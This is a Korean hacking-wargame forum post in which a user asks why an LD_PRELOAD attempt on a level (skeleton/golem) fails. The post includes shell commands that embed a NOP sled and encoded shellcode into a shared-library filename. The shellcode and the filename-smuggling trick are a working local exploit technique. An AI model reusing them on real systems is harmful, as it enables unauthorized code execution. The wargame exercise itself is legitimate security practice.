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http://www.hackerschool.org/HS_Boards/zboard.php?AllArticle=true&no=1973 [복사]
LD_PRELOAD를 이용하여 문제를 해결하려고 합니다.
[skeleton@localhost workspace]$ gcc -fPIC -shared -o `python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`.so temp.c
// 공유 라이브러리 생성
[skeleton@localhost workspace]$ export LD_PRELOAD="/home/skeleton/workpsace/`python -c 'print "\x90"*100+"\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"+"\x90"*50'`.so"
// 공유 라이브러리 등록
[skeleton@localhost workspace]$ export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/skeleton/workspace
// 공유 라이브러리 경로 설정
이 다음부터는 어떤 명령을 해도 에러가 뜹니다..
[skeleton@localhost workspace]$ ll
ls: error in loading shared libraries: /home/skeleton/workpsace/鐞1ɱ2lÿ瀵ÿÿÿ2i00tii0cjo㐔⚱
.so: cannot open shared object file: No such file or directory
[skeleton@localhost workspace]$ gdb -q golem
gdb: error in loading shared libraries: /home/skeleton/workpsace/鐞1ɱ2lÿ瀵ÿÿÿ2i00tii0cjo㐔⚱
.so: cannot open shared object file: No such file or directory
공유 라이브러리 경로를 정해주지 않으면 저런 에러가 뜬다고 해서 경로까지 설정해줬는데 계속 에러가 뜹니다.
이유를 모르겠습니다.. 왜이러는걸까요? |
Hit : 2171 Date : 2019/08/21 09:26
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